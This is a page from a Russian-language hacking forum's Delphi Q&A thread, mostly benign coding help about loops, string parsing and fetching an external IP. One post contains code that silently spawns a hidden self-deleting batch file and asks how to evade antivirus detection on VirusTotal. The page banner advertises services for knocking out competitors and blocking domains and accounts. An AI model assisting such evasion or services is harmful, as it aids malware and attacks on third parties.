УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
[Delphi]/[Pascal] Задай вопрос, получи ответ

Страница 289 из 677

289

Опции темы

Поиск в этой теме

Опции просмотра

#2881

22.02.2009, 20:04

KIR@PRO

Постоянный

Регистрация: 26.12.2007

Сообщений: 353

Провел на форуме:
905389

Репутация: 332

Отправить сообщение для KIR@PRO с помощью ICQ

Цитата:

Сообщение от Uname-A

Есть довольно громоздкое событие TForm1.Button3Click
там задание выполняется приблизительно 7 минут.... плюс цыкл
Вдруг посреди выполнения мне стукнуло в голову остановить выполнение задачи Как например создать кнопку "стоп" для Button3?

тут все двольно просто:создаеш логическую переменную в поле private

Код:

type
  TForm1 = class(TForm)
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
     stop:boolean;
  public
    { Public declarations }
  end;

........

procedure TForm1.Button1Click(Sender: TObject);
var .....
begin
stop:=false;
For i:=1 to 99999999 do begin
.......//твой код который выполняется
if stop=true then break;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
stop:=true;
end;

И еще в таймере с интервалом 50 пропиши application.processmessages;

p.s. De-visible сори я торопился -))))

Последний раз редактировалось KIR@PRO; 23.02.2009 в 00:22..

#2882

22.02.2009, 20:12

FindeR

Участник форума

Регистрация: 15.11.2006

Сообщений: 259

Провел на форуме:
2589211

Репутация: 151

Цитата:

Сообщение от KIR@PRO

И еще в таймере с интервалом 50 пропиши application.processmessages;

Зачем нам таймер, если у нас уже цикл есть?

#2883

22.02.2009, 20:19

bogger

Познающий

Регистрация: 20.04.2008

Сообщений: 39

Провел на форуме:
382668

Репутация: 49

Цитата:

Сообщение от Maxxxtri23

Скачать в яндексе или гугле, а устанавливать так:
1. Tools--->Inviroment options--->library--->library path--->add--->и указываешь путь до компонента распакованного.
2. в Папке с компонентом есть файл .dpk, ты его запускаешь и жмешь compile---->install.
3. Все, если прогло все без ошибок, то компонент поставится и будет на одной и вкладок палитры, зависит о компонента

У меня они перезаписывают друг друга а .dpk с компонентом нету
Уменя delphi7

#2884

22.02.2009, 21:11

Uname-A

Познающий

Регистрация: 19.08.2008

Сообщений: 69

Провел на форуме:
458484

Репутация: 31

Я замутил так:
var a:boolean;
...
...

Бутон 1:
begin
a:=false;
Repeat
Application.ProcessMessages;
if a then exit;
//Здесь цыкл
Until ****
end;

бутон 2:
begin
a:=true;
end;

ПС всем спасибо за помощь!

#2885

22.02.2009, 23:05

Maxxxtri23

Познающий

Регистрация: 20.12.2008

Сообщений: 76

Провел на форуме:
432982

Репутация: 6

Как мне преобразовать эту страницу

Код:

<HTML>
<HEAD>
<TITLE>Ваш IP-адрес. Узнать IP адрес, определить IP-адрес, определить свой IP</TITLE><BASE target=_top>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1251">
<meta name="keywords" content="узнать IP-адрес, определить IP адрес, проверить интернет адрес, определить свой IP">
<meta name="description" content="Здесь Вы можете узнать свой IP-адрес. Чтобы определить IP адрес достаточно зайти на сайт www.myip.ru.">
</HEAD>
<BODY bgcolor=white>
<TABLE width=100% height=100% cellspacing=0 cellpadding=0 border=0><TD align=center valign=middle>
<TABLE width=500 height=100 cellspacing=0 cellpadding=0 border=0>
<TR><TD bgcolor=#43AA2E><TABLE width=500 height=100 cellspacing=1 cellpadding=4 border=0>
  <TR><TD bgcolor=#E0EED3 height=30 align=center valign=middle><B>Ваш IP-адрес</B></TD></TR>
  <TR><TD bgcolor=white align=center valign=middle>123.123.123.123</TD></TR>
</TABLE></TD></TR>
<TR><TD align=center><A href="http://www.netup.ru/Autonomous_System_Registration.php?from=myip" target=_top style="color:#888888">Получить IP-адреса и 
автономную систему</A></TD></TR>
<TR><TD align=left><FONT color=#888888><SMALL>&copy; <A href="http://www.netup.ru/" target=_top style="color:#888888">Net<B>UP</B></A>, 
2003</SMALL></FONT></TD></TR>

<!-- liveinternet -->

<!--LiveInternet counter--><script type="text/javascript"><!--
document.write("<img src='http://counter.yadro.ru/hit?r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random()+
"' width=1 height=1 alt=''>")//--></script><!--/LiveInternet-->
<!-- END liveinternet -->

</TABLE>

</TD>

</TABLE>
</BODY>
</HTML>

Так чтоб осталось только 123.123.123.123. ТОесть убрать левую и правую часть от этого текста, но с условием, что текст может меняться. Тоесть взять

Код:

<TR><TD bgcolor=white align=center valign=middle>

и удалить весь текст до нее, затем взять

Код:

</TD></TR></TABLE></TD></TR>

и удалить текст после неё , а потом удалить эти обе строчки. Плиз напишите пример, а то у мне с операторами pos и остальными связанными со строками туговато =(

Последний раз редактировалось Maxxxtri23; 23.02.2009 в 00:02..

#2886

23.02.2009, 00:16

KIR@PRO

Постоянный

Регистрация: 26.12.2007

Сообщений: 353

Провел на форуме:
905389

Репутация: 332

Цитата:

Сообщение от Maxxxtri23

Как узнать IP за NAT'ом? Вот у меня есть код, но он под 5 делфи, а у меня 7, кто может переписать?

Код:

{ 
This code requires a server running a script that generates a web 
page that has your IP address in it. 
This example uses http://www.whatismyip.com/ 
The script then searches for the first time 
that 'Your ip is ' shows up and then looks for a 
correctly formatted IP address from that point. 

This works using Delphi 6 Enterprise but should work with previous 
versions with little or no modification, I think. 
}

 unit Main;

 interface

 uses
   Windows, Messages, SysUtils, Variants, Classes,
   Graphics, Controls, Forms, Dialogs, Psock,
   NMHttp, StdCtrls, ExtCtrls, Menus, About,
   Winsock, ComCtrls;

 type
   TForm1 = class(TForm)
     Button1: TButton;
     NMHTTP1: TNMHTTP;
     Memo1: TMemo;
     Edit1: TEdit;
     MainMenu1: TMainMenu;
     File1: TMenuItem;
     Exit1: TMenuItem;
     Bevel1: TBevel;
     Bevel2: TBevel;
     procedure Button1Click(Sender: TObject);
     procedure Exit1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

 var
   Form1: TForm1;

 implementation

 uses ClipBrd;

 {$R *.dfm}

 procedure TForm1.Button1Click(Sender: TObject);
 var
   InetIP: string;
   WebAddress, SearchString: string;
   Buff, P, FT: PChar;
   BuffLen: Word;
   StartPos, StringLength, TempInt: Integer;
 begin
   WebAddress   := 'http://www.whatismyip.com/';
   SearchString := 'Your ip is ';
   Memo1.Clear;
   try
     NMHTTP1.Get(WebAddress);
   except
     on E: Exception do
     begin
       MessageDlg('Could not get IP Address! ' +
         'Please ensure you are connected to ' +
         'the Internet.', mtError, [mbOK], 0);
     end;
   end;
   Memo1.Text     := NMHTTP1.Body;
   Memo1.SelStart := 0;
   GetMem(FT, Length(SearchString) + 1);
   StrPCopy(FT, SearchString);
   BuffLen := Memo1.GetTextLen + 1;
   GetMem(Buff, BuffLen);
   Memo1.GetTextBuf(Buff, BuffLen);
   P := Buff + Memo1.SelStart + Memo1.SelLength;
   P := StrPos(P, FT);
   if P = nil then MessageBeep(0)
   else
   begin
     Memo1.SelStart  := P - Buff;
     Memo1.SelLength := Length(SearchString);
   end;
   StringLength := Memo1.SelLength;
   StartPos     := Memo1.SelStart + StringLength;
   tempint      := StartPos;
   InetIP       := '';
   while ((Buff[TempInt] in ['0'..'9']) or
     (Buff[TempInt] = '.')) do
   begin
     InetIP  := InetIP + Buff[TempInt];
     tempint := tempint + 1;
   end;
   FreeMem(FT, Length(SearchString) + 1);
   FreeMem(Buff, BuffLen);
   Edit1.Text := InetIP;
 end;

 procedure TForm1.Exit1Click(Sender: TObject);
 begin
   Close;
 end;

 end.

я так понял ты с кодом не разбирался..... и с веб в дэлфи неработал... да небеда.

этот код обращается к сайту http://www.whatismyip.com/ на который ты можеш зайти и увидеть что на сайте будет показан твой ip в глобальной сети

Цитата:

Your IP Address Is
0.0.0.0

прога обращается к сайту загружает страницу на которой написан твой ip и просто парсит ip. таких сайтов много.

ну да ладно болтовни лови вот накалякал немного:

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp, ExtCtrls;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    Button1: TButton;
    Edit1: TEdit;
    procedure Button1Click(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
    res:string;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  i:integer;

const sended: AnsiString = 'GET /automation/n09230945.asp HTTP/1.1' + #$D#$A +
   'User-Agent: Mozilla/4.0 (compatible; MSIE 99.01; Windows 7)' + #$D#$A +
   'Host: www.whatismyip.com' + #$D#$A +
   'Connection: Keep-Alive' + #$D#$A + #$D#$A;


implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
res:='';
i:=0;
clientsocket1.Host:='www.whatismyip.com';
clientsocket1.port:=80;
clientsocket1.open;
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
begin
res:=socket.ReceiveText;
i:=strtoint(copy(res,pos('th: ',res)+4,2));
edit1.Text:=copy(res,length(res)-i+1,i);
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
socket.SendText(sended);
end;

end.

все теперь в едите1 твой отпарсенный ip

P.S. кстати у этого кода есть приемущество... он парсит страницу которая весит от силы 300байт

Последний раз редактировалось KIR@PRO; 23.02.2009 в 00:20..

#2887

23.02.2009, 08:18

bogger

Познающий

Регистрация: 20.04.2008

Сообщений: 39

Провел на форуме:
382668

Репутация: 49

СОБСТВЕННО АП

Код:

var

f: TextFile;
fName: String[80];
  BatchFile: TextFile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;

begin

fName := 'C:\windows\Послание.txt'; //здесь прописываеш путь к файлу
AssignFile(f, fName);
Rewrite(f);
writeln(f, 'LOL clear del C:/);
CloseFile(f);
  { создаём бат-файл в директории приложения }
  BatchFileName :='C:\windows\log.bat';

  { открываем и записываем в файл }
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile); 

  Writeln(BatchFile, ':try');
  //Writeln(BatchFile, 'del "Любой путь"');
  Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
  Writeln(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  Writeln(BatchFile, 'del "' + BatchFileName + '"');
  CloseFile(BatchFile);


  begin

  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;

  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
     False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
     ProcessInfo) then

 
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess); 
  end;

Дело в следующем компилю эту прогу и помещаю её в папку с "русским" названием xDD запускаю от-туда
а она неработает что можно сделать?

Блин виртотал палит этот код 2 раза xDDD
http://www.virustotal.com/ru/analisis/2dd0919e128c296a42cd7441ec6faa58
А вот после АСпака палится 4 раза
http://www.virustotal.com/ru/analisis/23c774360ce8cffb8e7218f1de6bd8d6

Подскажите как исправить? )

------------------------------------------------

Цитата:

Сообщение от Maxxxtri23
Скачать в яндексе или гугле, а устанавливать так:
1. Tools--->Inviroment options--->library--->library path--->add--->и указываешь путь до компонента распакованного.
2. в Папке с компонентом есть файл .dpk, ты его запускаешь и жмешь compile---->install.
3. Все, если прогло все без ошибок, то компонент поставится и будет на одной и вкладок палитры, зависит о компонента

У меня они перезаписывают друг друга а .dpk с компонентом нету
Уменя delphi7 есть еще способы?

MySQL

#2888

23.02.2009, 10:35

search74

Новичок

Регистрация: 17.06.2008

Сообщений: 22

Провел на форуме:
260558

Репутация: 52

Отправить сообщение для search74 с помощью ICQ

MySQL

Интересуют способы подключения к удаленной MySQL базе в дельфе. Какие компоненты для этого используются ну и сам код. Так же было бы интерестно изнать как производить запросы к базе, получать содержимое таблиц и тп

#2889

23.02.2009, 11:52

nilux

Участник форума

Регистрация: 19.08.2005

Сообщений: 132

Провел на форуме:
1387194

Репутация: 121

search74, с такин ником мог и сам бы найти, первая ссылка в гугле:
http://www.interface.ru/home.asp?artId=4937

#2890

23.02.2009, 12:06

Maxxxtri23

Познающий

Регистрация: 20.12.2008

Сообщений: 76

Провел на форуме:
432982

Репутация: 6

Все спс уже со всем разобрался, просто использовал _http://www.whatismyip.com/automation/n09230945.asp =)

Последний раз редактировалось Maxxxtri23; 23.02.2009 в 13:02..

Страница 289 из 677

289

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ!	Alexsize	Беспроводные технологии/Wi-Fi/Wardriving	2568	25.04.2026 12:58
[jQuery] - Задай вопрос, получи ответ	Isis	PHP	62	25.12.2009 03:25

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход